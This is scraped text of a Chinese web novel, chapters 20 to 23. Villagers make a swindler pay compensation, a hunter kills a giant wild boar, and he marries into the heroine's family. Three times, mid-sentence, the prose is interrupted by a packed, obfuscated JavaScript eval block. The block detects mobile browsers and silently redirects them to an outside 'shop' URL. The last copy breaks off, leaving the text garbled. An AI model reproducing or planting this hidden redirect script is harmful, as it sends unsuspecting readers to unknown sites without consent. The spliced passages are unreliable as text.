对，去古榆村要说法去！这事不能就这么算了！ “别去，我求求你们别去。”梁满仓不停地磕头求饶，如果此事被村里人知道了，他还怎么在村里住下去？ 古榆村的人干出了这种事，哪个村的哥儿、姐儿敢嫁过来？又有哪个村的汉子娶古榆村的哥儿、姐儿？ 为了整个村子，村长一定会把他们赶出去的，他们到时候去哪啊？ 不管梁满仓和刘雅芬如何哭闹，大吉村的人都决定去古榆村讨个公道。 霍云铮这时说道：“意哥儿别去了。” “对对，意哥儿别去了，我们去就行。”吉自强才反应过来这茬，纵使整件事情里吉如意并无半分过错，可到了古榆村难免会被人指指点点。 “可——”吉如意知道他们是为了自己好。 “你放心，我们一定会为你讨为公道的，要让他们知道咱们吉家人是不好惹的，大吉村的人更不好惹！”吉自强大声说道。 吉自立和村长也出来劝，吉如意想了想，同意不去了，大黑看看吉如意，又看看霍云铮他们，还是跟着霍云铮走了。 一众人推推搡搡地将俩人带下了山，俩人连哭带嚎实在太吵，有人拿着破布将他们的嘴堵上，这才清净了些。 吉有志嘟嘟囔囔：“早就和老五说了，别让他招婿，他就是不听。现在可好了，惹出来这么一摊子事。我看哪。意哥儿以后就算是嫁人，也找不到什么好人家了。” 霍云铮不悦：“这事和招婿有什么关系？要怪就怪梁满仓，关招婿什么事？” 本来霍云铮拒绝了自家哥儿他心里就有股气，现在听他顶撞自己，更是气不打一处来。 “我说自家的事关你什么事？” 村长有些不满：“老二你如果不想去，就回去。” 吉庆丰在他旁边扯扯他的衣角：“二哥，你别说了。” 吉有志哼了一声没有再说话，这种事情，他这个做二伯的如果不去，那是会被村里人耻笑的。 大黑围着吉有志转了几圈后又回到了人群里。 很快到了古榆村。古榆村因村里那棵粗壮的榆树而得名。树下有孩童在玩闹，有大人在闲聊。 吉自强怼搡了梁满仓一把：“你家在哪儿？” 梁满仓不敢不说，说出了位置。 古榆村的人见来了二三十个汉子，个个拿着家伙什，凶神恶煞的，有人忙去叫了村长。 众人一脚踹开梁满仓家大门，拿着家伙什，将屋子砸得稀巴烂。 梁满仓和刘雅芬哭嚎着不让砸，但无济于事，大黑轻巧地跳到炕上，尿了一泡，又拉了一堆。 没过一会儿，古榆村村长在十多个汉子的簇拥走来了，汉子们的手里也都拿着家伙什。 古榆村村长五十多岁，两鬓已有了白发，个子不高，人看起来倒是很有威严。 他看着狼藉的梁家，门口紧皱：“你们这是？” 他也看出来了，准是梁满仓在外面惹祸了。 大吉村村长走出来说道：“我们是大吉村的，这两个人你们可认识？” 说着，就有人将梁满仓夫妇推了出来。 “这是满仓和他娘子。”古榆村村长见人被打成这副样子，心中十分不悦，忍着没表露出来，“不知他们二人犯了什么错，怎么打成这样？” 大吉村村长道：“我们是大吉村的，你们村里人干了好事！” 古榆村村长不明所以：“到底发生了什么事？” 解释事情经过的具体原因，并不是村长这种身份的人需要做的，自有其他人替他来说。 吉自强刚要说话，霍云铮做了个手势，他走上前去，将事情的经过说了一遍。明明是同一件事情，由不同的人来说，怎么说，所取得的效果是很不一样的。 霍云铮将事情的重点放在了梁满仓伙同刘雅芬诈骗吉家钱财上，对吉如意只简略地提了一下。说话铿锵有力，条理清楚，让人无法反驳。 吉自强暗挑大拇指，幸好由霍云铮说了，他要是说的话，肯定会说吉如意有多么可怜什么的。这事吉如意虽是受害者，但还是有损他的名声，很难不让人把重点转移到吉如意身上。但霍云铮这么说就不同了，大家都把注意力集中在了这对骗子夫妻身上。 而且霍云铮还说了，张秀才也被他们骗了！这事说得好，说得妙，说得呱呱叫啊。普通村民竟斗胆欺骗秀才，胆子真是大得狠！说不定还会连累整个村子的。 古榆村的人显然已经意识到了这一点，聚集在一起窃窃私语。 古榆村村长本来有心想要偏袒梁满仓一番，可当听到他将秀才都骗了，这事可就不好办了，一个处理不好，兴许他们整个村都遭殃。 他的担忧不无道理，若是张秀才去和粮官、税官说上那么一嘴，等秋收时多收他们粮怎么办？可不能因为一个梁满仓，让大家都遭殃。 古榆村村长再看霍云铮的眼神就变了，朝他拱拱手：“张秀才。” “我不是张秀才，”霍云铮说道。 古榆村的人全都暗暗惊奇，原以为长得这么好，谈吐又如此不俗，这定是那张秀才了，没想到竟不是。 大吉村厉害的人物这么多，大吉村厉害的人物这么多，梁满仓竟敢招惹，对梁满仓更加厌恶了几分。 “张秀才今日没来。”他又说道。 张秀才已经去府城读书了，此事他并不知道。古榆村的人听到耳朵里，却认为是张秀才先派他们来处理此事，如果这次不满意，他就亲自来。所以，更加的谨小慎微，生怕惹得他们不满意。 古榆村村长低头沉吟片刻：“这事是我们的不对，我先替梁满仓为你们赔不是。” 吉自强打断他的话：“赔不是有用吗？如果赔不是有用的话，要县衙干什么？” 古榆村村长露出一抹尴尬的笑来：“光赔不是当然是没用的，不知你们想怎么处理这事？只要我们能做到的，一定照办。” 霍云铮说道：“那便送往官府吧，由官府处理此事。” “不行，不行啊，我们不要去见官。”梁满仓和刘雅芬大惊失色，见官了他们还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396406|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有好日子过吗？ 古榆村村长显然也对这么解决不太满意，如果见了官，那以后古榆村的人在外面就得低着头走。 他放低姿态说道：“能不能不见官？” 吉自强走了出来：“不见官可以，意哥儿的名声因此事受了损，你们得赔银子。” 吉自立跟着说道：“对，得赔银子！” 他们方才已经悄悄商量过了，给梁满仓他们送去见官，也未必能受到太重的处罚，毕竟他们的计划还没有成功，不如要点儿银子来得实在。 “要多少？” “三十两！” “什么？三十两？”梁满仓一听这话差点儿跳起来，“不行，我没有三十两。” “没有，那就接着砸！”吉自强抄起铁锹又要砸。 大黑汪汪叫着，用嘴去撕扯梁满仓家里的东西。 霍云铮没有再说话，这种事他不方便开口。 古榆村村长连忙阻止：“别，别动手。三十两银子确实是太多了，能不能少一些？” 正常人家娶个姐儿，不过十两银子，娶个哥儿也才六七两而已。 梁满仓忙说道：“大哥，你不能这样做啊，我可以把这臭婆娘休掉，好好当意哥儿的上门女婿。吉叔马上要不行了，要是意哥儿没招到婿可怎么办啊？” 不提这个还好，一提这个吉自强气不打一处来，又扇了梁满仓几个巴掌，看得古榆村村长都直咧嘴。 刘雅芬听他这样说，又骂骂咧咧起来，俩人又开始了对骂。 “都别吵了！”古榆村村长被他们吵得脑袋疼，怒喝一声。 各村村长还是很有威严的，他一开口，梁满仓和刘雅芬谁都不敢再说话。 “如果还想继续在村子里待着，那就赔银子！” 被撵出村子的人，下场通常都很惨。梁满仓和刘雅芬再怎么不情愿，还是不得不答应赔银子。可三十两银子实在太多了，多次讨价还叫后，吉自强同意二十八两。 梁满仓还想再少一些，被古榆村村长一眼瞪了回去。 梁满仓一时哪里能拿得出那么多银子，就说先欠着，等以后有银子了再给，这欠着欠着不就黄了吗？ 吉家人又岂会如他的意？没有银子？那就接着砸，什么时候不砸了，什么时候收手。 梁满仓和刘雅芬没办法，只能拿值钱的东西抵债。但他们又有什么值钱的东西？有的东西还被砸了，吉家人屋里屋外转了一圈，也没找到什么值钱的东西。最后，把园子里的菜都给拔了。 那点儿菜距离二十八两银子还差一大截呢，梁满仓没办法，只得说把地卖了。 刘雅芬又哭又嚎，在地上打了几圈的滚也没人理她。 恰好村里有户人家最近想买地，梁满仓就将地卖了，将银子给了吉自强，吉家人这才回去了。 梁满仓经此一事，在村里的名声彻底坏了。走到哪里都被人排挤，还总有人往他家门口扔粪便。 梁满仓和刘雅芬在村子里再也待不下去，将房子卖了，趁着黑夜离开了古榆村。 21. 第二十一章 拿到了梁满仓赔偿的银子，众人心里依旧是沉甸甸的，这事是解决了，可吉如意怎么办？吉家又怎么办？ 吉上进还不知道这件事，他若是知道了，准会受不住的。 吉自强重重地叹口气：“意哥儿以后可怎么办啊？” 霍云铮认为现在正是该说出自己心意的时候，于是便道：“你们看我怎么样？” 起初，大家还没明白过来他是什么意思，纷纷夸奖。夸着夸着，才反应过来不对。 吉有志急了，他家云哥儿可是看上他了。吉自强双眼一亮，不太确定地问：“小霍，你说这话的意思是？” “汪汪汪！汪汪汪！” 大黑突然朝着一个方向疯狂地吼叫起来，此时天色刚刚擦黑，四周都是庄稼地，视野并不通旷。大黑叫的毛都竖起来了，让人不寒而栗。 所有人都紧紧地握住手里的家伙什，眼睛一眨不眨地盯着大黑吼叫的方向看去。 霍云铮的眼力和耳朵比在场的人都要灵敏，他几步走向前，将众人护在身后：“听我指挥，大家一会儿别乱跑！” 这个时候最怕乱，一旦自己先乱起来，很容易遭到攻击。 紧接着，就见苞米叶子一阵剧烈地摇晃，从里面跑出来一个长着獠牙，长嘴，身上全是鬃毛的东西。 “是野猪！”霍云铮又大喊一声。 村长也很紧张，这野猪看起来有两米长，估摸着有六百多斤，“小霍，咱们怎么办。” 这是个大家伙，一般的野猪也就二三百斤，超过四百斤的都很少，这只野猪比他们看到的野猪都要大。 霍云铮迅速判断：“先都别动！” 野兽很少有主动袭击人类，他们又这么多的人，野猪应该不会贸然攻击。只要他们不主动激怒它，让野猪跑过去也就是了。 哪承想，这头野猪竟是朝着他们这边来的！ “快闪开！躲到树后面去，能上树的赶紧上树！”霍云铮让大家闪开，他却没闪，手里拿着铁锹直面野猪，平地跳起，朝着野猪的脑袋狠狠地砸了下去。 震得霍云铮手臂发麻，再一看铁锹碎了，从把手连带着下面的铁皮全部断裂。 大家一看，全都倒吸了一口凉气。 大黑汪汪叫着，想上前去撕咬野猪。 村长惊道：“我听陈冲说过，野猪的皮很厚，连箭都不怕，他碰到了野猪都会绕道走。” 陈冲，就是村里的那个猎户，霍云铮管他借箭的那个。 野猪受到了霍云铮重重一击，彻底被激怒，狂叫着往他这边奔来。 霍云铮几个闪身，灵巧地躲过了。野猪见没撞到他，更是愤怒，朝着离他最近的一个汉子撞了过去。 那汉子拿着锄头动都不敢动，呆愣愣地站在原地。 “六叔——” “庆丰——” “爹——” 有些人甚至闭上了眼，不忍看到这惨烈的一幕。 霍云铮急忙转身回来，奋力一脚照着野猪脑袋踹去，把野猪踹得一个趔趄，他手疾眼快拿过吉庆丰手里的锄头，趁着野猪还没有反应过来，照着它的一只眼睛狠狠地锄了下去。 大黑瞅准时机，跳起来撕咬到了野猪的鼻子，却被野猪猛地甩在地上，它滚了几滚，又站了起来。 吉庆丰只觉得手一空，这才反应过来刚才发生了什么。吉自强、吉自立忙将他拉到树后。 吉安吓得差点儿哭出来，他是吉庆丰的大儿子，今年十七岁。 野猪伤了眼，疼得嗷嗷叫，更加暴怒，朝着霍云铮追去。 村长大喊道：“咱们这么多条汉子，还怕一头野猪吗？大家一起上！” 吉自强、吉自立、吉安一马当先，拿着家伙什朝着野猪冲了过去。 其他人一看，也个个举着家伙什去追野猪。大黑一边叫，一边摇着尾巴去追。 野猪光顾着追霍云铮，它皮糙肉厚的，拿着农具打在它身上就跟挠痒痒似的。但虱子多了也咬，野猪猛地回过身，朝着人群追去。 众人没防备它竟然会折返回来，吓得全都一哄而散，只有一个汉子躲闪不及，被它的獠牙剐蹭到了，不过问题不大。 霍云铮大喊：“大哥，你带着几人去南边。二哥，你去北边，村长去西边。去攻野猪的眼睛，鼻子，嘴，脖子。” 众人迅速按照霍云铮所说，将野猪团团围住。霍云铮负责吸引野猪的主要火力，其他人按照他所说的那般去攻野猪。 刚开始大家的胆子还小，看到野猪冲他们跑来时吓得撒腿就跑。 村长急道：“跑什么跑！快打野猪啊！” 霍云铮喊道：“你们不想吃猪肉了吗？野猪这么大，一人可能分到好几斤！” 果然，有些人不跑了，吃猪肉的欲望战胜了对野猪的恐惧。 农家过日子都是省吃俭用，也就逢年过节能吃上肉，还只买上一点点。他们做汉子的，肯定是先紧着孩子、父母、媳妇、夫郎先吃，等到了自己吃时，肉也没剩啥了。这头野猪这么大，每人分上几斤肉，吃得过瘾！ 吉安胆子大，拿着镐，一镐砍到了野猪嘴上，疼得野猪嗷嗷叫。 野猪又马上朝着他追去，吉庆丰看儿子被野猪追，他也急了，可他的锄头还在野猪的眼眶上嵌着呢，没有家伙什。吉自立忙把自己的锹给了吉庆丰，吉庆丰上前照着野猪打了一下，没打到。 吉庆丰又抢过锹，狠狠地砸到了野猪的鼻子上，疼得野猪嗷嗷直叫。其他人见状，忙上前去打野猪。 趁着野猪被汉子们缠上的时候，霍云铮迅速环顾了一下四周，心里有了一个主意。 “把这个耙子给我！”他大喝一声。 拿耙子的那个汉子一愣神，幸而及时反应过来，将耙子扔给了霍云峥。 霍云铮几下跳到一棵树上：“把野猪往我这里赶！” 大家虽不知道他要做什么，但这个时候他怎么说，大家就怎么做就是，于是合力将野猪往霍云铮那边赶。 野猪跑得飞快，没有看到树上的霍云铮。 就是现在！眼看着野猪到了近前，霍云铮猛地从树上跳下，高高举起耙子，用上全身的力气，照着野猪的脑袋狠狠地耙了下去。齿子当即尽数插进野猪的脑袋里，它又往前跑了几下，扑通倒在地上死了。 起初，还没有人反应过来。片刻后，大家全都兴奋地呼喊起来。 大黑望着月亮，发出一声又一声长长的嚎叫。 野猪死了！野猪竟然被他们杀死了！ 有几个胆大的汉子，上前用脚去踢野猪，确定它确实死透了，招呼着大家伙快过来。 霍云铮擦擦头上的汗，走了过来，众人见他来了，纷纷让路，夸奖的话不要钱的往外说。 “还得是小霍，小霍真是太厉害了。” “这得是多大的力气能把耙子插到野猪头上去。” 还有人拿着锄头去铲野猪身上的皮，也想试试，但没怎么铲动。 村长也夸赞了霍云铮几句，现在的天色已经很黑了，他们得早点儿到家，省着家里人担心。 “咱们编个草席子，把野猪拖回去。”村长说道。 当下，就有人纷纷动手去找野草。农家人都会错绳子，知道哪种草适合做席子，便纷纷去找，有的人还找了一些树枝回来。 霍云铮不会这个，就在一旁休息，大黑蹲坐在他身旁， 今晚是十五，月正圆，正亮，就算没有火把，也能看得清清楚楚。 又有人去拽野猪头上的耙子和眼睛里的锄头，没拽动。霍云铮上前，用力地拽出来。虽有些变形，修修还能用。 人多力量大，没多久，就编好了一个简易的席子。刚才来的时候捆着梁满仓的绳子派上了用场，大家将野猪捆住，轮流拖拽着往大吉村走去。 霍云铮是大功臣，谁都没让他去拽。 一行人一扫方才的沉闷，全都喜气洋洋的，吃猪肉喽—— 天已经很黑了，农户人家为了省油灯，早早地都会去睡觉。吉上进已经早早地睡下，还不知道现在梁满仓的事情。他今天的状态看起来又好一些了，应该是心情的缘故。 吉如意的三姑、四叔、两个舅妈与他们的孩子借着月光在屋檐下乘凉，说着闲话。 姜临语气里有着深深的担忧：“他们怎么还不回来？” 有人安慰着他，姜临借口说有东西要找，让吉如意随自己进了屋。 到了屋里，姜临的泪再也控制不住地流了下来。 吉如意没有说什么，静静地陪在他身边，任由他发泄。 “明天和你大爹爹说满仓出意外没了，别告诉他，他是个骗子。” “好。”吉如意轻声答应着。比起梁满是个骗子，不如他突然死了，更容易让吉上进接受。 “过几天我就和大家说我有了身孕，”这是姜临想了一天才想出来的办法，“这样咱们的时间还能宽裕些，小爹爹我再为你好好找一个。” 吉如意皱眉：“可你这么多年都没再生过，在这个节骨眼说有怀孕了？更何况你的岁数在这儿呢，别人会信吗？” “我这个岁数怎么了？儿媳妇和婆婆一起坐月子的不都有是？”姜临一摸肚子，“到时我往里面垫枕头，谁还能来摸我的肚子吗？” 吉如意还是不同意：“那到时候你上哪弄个孩子出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396407|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 姜临道：“就说孩子没保住。” “汪汪——汪汪汪汪汪——” 一阵犬吠传来，在这个寂静的夜里听得格外清楚，吉如意连忙站起来：“是大黑！大黑回来了！” 姜临也跟着出去了，院子里的人听到动静也都出来看，见一伙儿人抬着一头硕大的野猪过来了。 “哪里来的野猪？你们打的？”姜临诧异地问道。 有人马上将事情的经过说了一遍，大黑绕在吉如意和姜临身边，像是在讨赏。 村长走上前来，将梁满仓赔偿的二十八两银子给了姜临，又将事情仔细说了一遍。 姜临算是卸下了一桩心事，打算回屋后将银子给吉如意，这是赔偿给他的，他不要。 村长和众人又说了一些安慰的话，但谁都知道吉如意经此一事，恐怕会被那些嚼舌根子的乱说，别说招婿了，只怕嫁人都难。 村长说道：“那今日就先散了吧，明天一早咱们把猪肉分了。” 谁都没有意见，大家都累了一天了。 “且慢。”霍云铮从人群中走出，看着吉如意，一步一步走了过来。 吉如意的心突地跳个不停，看着高大俊美的汉子离自己越来越近，他前所未有的紧张起来。他与霍云铮不算陌生了，这种心慌意乱的感觉还是头一次有。 “姜叔叔，”霍云铮一字一句说得十分认真，“我想成为你的儿婿。” 吉如意愣了，望着那张眉目如画的脸，半晌，他才找回理智：“我不嫁人，我是要招婿的。 “我知道，我嫁你，入赘你们家！”霍云铮说的坚定。 围观的众人也都愣住了。 “我心悦如意已久，从第一眼开始，便心生欢喜。”月光如水，仿佛给霍云铮的身上镀了一层银光，神圣，高洁，不可侵犯，亦如他所说的话。 “事事以如意为重，一定要让如意过去好日子，更要让如意天天开心，绝不会辜负如意。” 一字一句说得认真。 “如意，你愿意吗？姜叔叔，你愿意把如意交给我吗？” 吉有志刚想说话，被吉庆丰拦了下来，硬是和儿子将他拖拽了出去。 姜临看向吉如意，任谁都没想到事情的走向竟会是这样。 吉如意认为自己应该会拒绝的，哪有前脚刚退了亲，后脚就又定了亲，可拒绝的话怎么也说不出口。霍云铮说他见到他第一眼便喜欢，他又何尝不是？那样一个俊美又有本事的汉子，哪个哥儿、姐儿能不喜欢？他先时定了亲，自然不会有不该有的想法，可他现在，他想遵循自己最真实的心意，哪怕被人在背后指指点点也无妨。 吉如意轻轻嗯了一声，声音不大，足以让霍云铮听得清清楚楚。 姜临也笑了，原来的阴霾一扫而光。 霍云铮高兴地不知道怎么办才好：“那，那咱们明天就办喜事。” 正好吉家改准备的都准备了，只差办喜事了。 门口处传来一阵咳嗽声，吉上进不知道已经站在那里多久了。其实，最初他是被大黑的叫声吵醒的，出来时正好听到了梁满仓的事情，他气得要死，脚步虚浮，差点儿晕过去，可紧接着听到霍云铮说的话，马上又精神了起来。 霍云铮和梁满仓，那还用比吗？一个天，一个地。本来他就没怎么看中梁满仓，觉得委屈了吉如意，同意他入赘也是没办法的办法。瞧瞧霍云铮和意哥儿多相配啊，俩人往那一站也养眼。吉上进非但不晕了，反而觉得比之前还要好。 姜临和吉如意急忙将他搀了来。 早在他们闹哄哄的拽着野猪回来时，就有很多没睡着的人家出来看。原来都是奔着野猪去的，竟还看了霍云铮的求亲现场！ 瞅瞅人家说那话说的多让人感动，已婚的哥儿、姐儿羡慕不已，未婚的哥儿、姐儿纷纷心碎。 整个大吉村，几乎没出嫁的哥儿、姐儿，都看中了霍云铮。会不会打猎另说，人家长得好啊。长得好的汉子，放在家里天天看着也养眼啊，心情也好啊。 不管众人如何，吉家和霍家的亲事定下来了。 姜临起初觉得有些过意不去，之前准备的东西都是给梁满仓准备的，让霍云铮继续用怕他心里有想法。可霍云铮却说，他连媒婆都没找，就自己冒冒然然地说了此事，恐也委屈了吉如意。只要他们俩好好过日子，有些东西就不那么重要。 霍云铮的几句话说得人心里暖暖的，天色不早，他也得回去告诉霍秀兰准备明天成亲的事。 众人散去，吉如意望望天上的月亮，做梦一样。他偷偷地掐了把自己，疼。 明天，真的是要和霍云铮成亲了。 22. 第二十二章 任谁都没想到事情会朝着这个方向发展，原以为吉如意成婚会更加困难，可人家竟找了个比谁都好的，一时间成为人人羡慕的对象。 霍云铮回家将此事一说，霍秀兰坚决反对。如果是娶亲倒是可以，吉如意确实是能配得上霍云铮的，可入赘却是万万不能。 霍秀兰流着眼泪说道：“要是我哥和嫂子知道了肯定会怪我的。” 霍云铮好一阵安抚，又好说歹说，她终于松了口。 虽早有准备霍云铮会成亲，可那时她以为的是娶亲，没想过是入赘，东西也都没准备，就连席面都没定。 按霍云铮的意思是他们这边不摆席面了，左右都是一个村子的，明天去吉家吃一顿也就完事了，还能省不少银子呢。 可霍秀兰坚决不同意，非要再摆上一席，霍云铮也就随她去了。于是，他们这边便定在了后日开席。 请大厨怕是来不及了，到时候将余家人找来，再找几个和她平时处的不错的婶子、夫郎也就是了。 “幸好我先把你的新衣做出来了，要不然明天连件新衣服都没有。”霍秀兰说的就是霍云铮卖羊那日买回来的布料做的衣服。 吉家那头有准备新郎官的婚服，霍云铮和梁满仓的尺码不一样，要说衣服大一些，还勉强能穿穿。衣服小，就没法对付了。再说了，那不是给他准备的，穿着也膈应。 “这些布料明日你都拿过去，明早我再让你姑父逮两只鸡。”霍秀兰说着把霍云铮买的那些布料都拿了出来。 霍云铮不要：“大姑，你这是做什么？这是给你们买的，你全拿出来给我干什么？” 霍秀兰道：“虽说是去入赘，可也不能什么东西都不带，那会让人瞧不起的，左邻四舍也会说闲话。”这算是陪嫁，霍秀兰没说出来。 “那这也太多了，”霍云铮想了下，“我带去两匹就够了。” 双方又僵持了几回，最终，霍秀兰没扭过霍云铮，让他带过去两匹布。两匹布，到哪里都拿得出手，更何况霍云铮买的布贵着呢。 “那两只鸡我不要，”霍云铮说道，“我有打猎的本事，能上山打野鸡，你们留着下蛋吧。” 霍秀兰说道：“那不一样的，你打的是你打的，我给的是我给的。吉上进正病着，你带两只鸡过去给他补补身子。” 霍云铮知道一只鸡对农家的重要性，他都拿了布了，鸡是万万不想拿，便又推脱。 余禾在一旁说道：“不拿就不拿吧，以后日子长着呢，等三朝回门的时候再拿瞅着也好看。” 霍秀兰一想也是这个理，就没有再让霍云铮拿。 时间已经很晚了，明天一早还要杀猪，分猪肉，众人便打算睡觉了。 霍云铮这才想起来一件事：“大姑，猪肉我想分给意哥儿家一半儿。” 霍秀兰一听就知道怎么回事，准是为了给吉上进看病，花光了银子，没钱买猪肉，连连答应着：“本来就是你打来的，自然是由你做主。” 吉家那边，除了几个小的睡了，剩下的都没睡，拉着吉如意说着知心话。 姜临把梁满仓赔偿给吉如意的银子给了他，吉如意接过后，将银子拿了出来。打算将欠的债还了，姜临起初不想让吉如意还，欠的这笔钱，自然是应该由他和吉上进还的，但吉如意没同意，姜临只好答应了。 先还了六叔吉庆丰的五两，又还了大伯吉勤奋的七两，还有两个舅舅姜辰、姜兆各五百文。倒不是两个舅舅小气，不肯多借，实在是日子难过，这已经是他们能拿得出最多的银子了。 还有三姑吉春花的四两，二叔吉有志的五两，不过吉有志没来，只能等明天再还他。 吉上进的几个兄弟姐妹，只有老四吉春柳没有借给他们银子。不是说吉春柳心里没有这个弟弟，他是个哥儿，家里的钱财都由婆婆掌握，他手里连一文钱都没有。当初吉上进病了需要银子时，他去求过婆婆，但没要来一文钱。都是一母同胞的亲兄弟，自然都体谅彼此的难处。 吉春柳嫁得汉子倒是个老实本分的，俩人的感情很好，婚后生有一个小哥儿，一个汉子。小哥儿比吉如意小一岁，汉子才七岁。这次来参加吉如意的婚宴，婆婆没让他将小儿子带来，只带了大儿子洛哥儿来了。 吉春柳不善言辞，不太经常说话。洛哥儿随了他了，总是安安静静地坐在一旁，别人说话时偶尔笑一笑。 除了欠直系亲戚的银子外，吉家还欠了旁人家的，这些银子就等着婚事过去了再还。 夏天黑夜短，白天长，只觉得没睡多大一会儿，天就泛亮了。 今天家里有喜事，谁都没有多睡，全都起来开始忙活。 刚打开大门，小山就从外面跑了过来：“姜叔叔，我娘和云铮哥说，一会儿杀了猪，给你们送来些做席面。” 小山说话声极大，院子里的人都听见了，大家都很高 兴。 今天分野猪肉，参与打野猪的人家早早地就来到霍家等着分肉。那些没参与的人家也过来看热闹，六百斤的大野猪，谁都没看过。 霍家已经围了不少的人，大吉村没有屠夫，就找了几个精壮的汉子去分猪肉。 霍云铮的功劳最大，分了一半的猪肉，剩下的猪肉就由村长按着每个人的功劳大小去分，大家都没意见。 所有人都清楚，虽然他们也跟着打野猪了，可主要靠的是霍云铮，要不然就凭他们都不知道能不能把野猪弄死呢。 当初去古榆村的，有的一家出了好几口人，比如说吉庆丰家去了父子俩，他们俩一共得了十六斤肉。现在是夏天，肉这么多吃不了很容易坏掉，于是当场就便宜卖掉了一些。 卖得比平安镇上的便宜，很多村民都想要买。 不过每家买的不多，有的只买一斤，甚至是几两。毕竟这两天有两个席面要吃呢，之所以买，只是因为卖得太便宜了，买回来吊在水井里，也能保存个两三天。 分得猪肉的人全都喜滋滋的，有的人打算留着自己吃些，再卖一些，有的人打算让媳妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汉子入赘，得由哥儿或姐儿到家中去迎。吉时已到，众人簇拥着吉如意往霍秀兰家里走去。 吉如意有些紧张，手心里都是汗，做梦一样。 直到牵过霍云铮的手，他才感觉到了前所未有的真实感。 他的手被霍云铮的手包裹住，温暖、可靠，是他从来没有体会过的。 他的心在剧烈地跳动着，他想笑，拼命地压下嘴角，但还是控制不住上扬的嘴角。他悄悄去看霍云铮，正好与他的视线相撞，霍云铮在温柔地看着他笑。 心跳得好快，好快。 他慌忙避开眼，不敢再看。 霍云铮将他的手牵得更用力了些，一步一步走得用力且踏实。 “真好。”他说。 吉如意忍不住又抬起头看他，眼睛亮晶晶的，里面盛着万千言语。 “真好，咱们成亲了。”霍云铮又说道。 23. 第二十三章 两个余家的婶子和老夫郎不远不近地跟在身后，后面是抱着霍云铮陪嫁的小山和小川，他们将霍云铮送到吉家就会回来。 霍秀兰站在大门口哭红了眼睛，余禾在一旁轻声安慰着他。 霍永强说着风凉话：“不知道你是怎么想的，怎么能让云铮入赘？他以后再打了猎物回来，可都归吉家了，你一点儿份都捞不着。他在你这住的这段日子，也花了不少银子吧，得管他要回来。” 霍秀兰挖了他一眼：“你也拿过大哥不少东西，怎么不见你吐出来？” 霍永强被他堵得说不出话来，霍秀兰懒得搭理他。 “我去镇上买点儿明天做席面用的东西，你少打我那野猪的主意，要是我回来发现少一块，当心你的皮！” 霍永强吓得一溜烟跑了。 霍秀兰又指使着余禾：“去把溪哥儿叫回来，咱家办这么大的事，他也应该回来的。” 余小溪是他们俩的大儿子，一年前嫁到了青木村。嫁得颇为不错，还是个童生呢，家境也好。 *** 跟着来吉家凑热闹的人越来越多，姜临把早就准备好的花生瓜子拿了出来给大家吃，又将糖分给了来的小孩子们。 吉上进今天高兴，看起来比之前都要好，竟也能出来招呼客人。 吉时已到，拜天地！ 吉上进和姜临坐在主位，看着小夫夫拜了天地，笑得嘴都合不上。 夫夫对拜时，吉如意不小心撞到了霍云铮的头，他下意识地去揉，霍云铮却比他更快一步。 “疼吗？”他轻轻地帮他揉着撞到的地方。 吉如意摇摇头，羞得满面通红，这么多人看着呢。 吉上进和姜临相视一笑，小两口感情好，他们当老的才高兴呢。来参加婚宴的人笑着打趣他们俩，直羞得吉如意头都抬不起来。 “好了好了，你们莫要再打趣了。”吉春花帮着解围，“没有位子的抓紧要个地方坐下，一会儿没有地方坐可别赖我们。” 大家听他这么一说，急忙去找座位。 今天来吃席的人特别多，大吉村数百户人家，人口多达上千人。当然，这些户人家并不是每一户都与吉如意家里相识，不会每一户都来。但大家祖祖辈辈久居于此，光是没出五服的亲戚就不少，更别提其他转弯抹角的亲戚们了，还有一些交好的朋友。 这么一凑，人就不少。 有些人家为了省钱，就不会摆那么多桌，谁有位置谁就吃。更有些穷困人家，成婚也不摆桌，将人接回来拜天地就算完事了。 吉如意家原准备摆十二桌，后来从梁满仓家里薅了一大院子的菜，又有霍云铮送来的野猪肉，现在正是大夏天的，这些东西不吃就该坏了，最后一合计摆了二十桌。 讲究人家的席面上必须要有鸡和鱼，吉家当时没那么多银子，也就没买鸡和鱼。不过现在有猪肉，多做几道荤菜也就是了。 四喜丸子、红烧肉、猪肝、排骨土豆、肉段茄瓜、芹菜粉、凉拌胡瓜、辣椒干豆腐、炖大豆腐、炒花生，一共十道菜。 每道菜都盛得满满登登，分量很大。 直吃的来客满嘴流油，不住地夸好吃，就连大黑啃着猪骨头吃得尾巴直晃。 一场好的席面是会被村民们经常提起的，尤其是当再吃席时，总是会拿以前吃过的席作比较。吉家的席面虽不是顶好的，也已经是能够排得上数的了。做得好吃，份量又大。以至于在后来的很长一段时间里，吉家的这场席面经常被人提起。 那几道荤菜是姜临和两个弟弟做的，姜辰和姜兆学厨艺的时候年纪更小，后来姜临也曾交过他们，甚至动过让他们去镇里找个厨子的念头。但有些东西是讲究天份的，他们俩的厨艺水平达不到镇里厨子的标准，不过还是比普通的庄户人家要强很多。 农户人家没那么多讲究，何况霍云铮还是入赘。宴席开始后，两小夫夫出来敬酒。 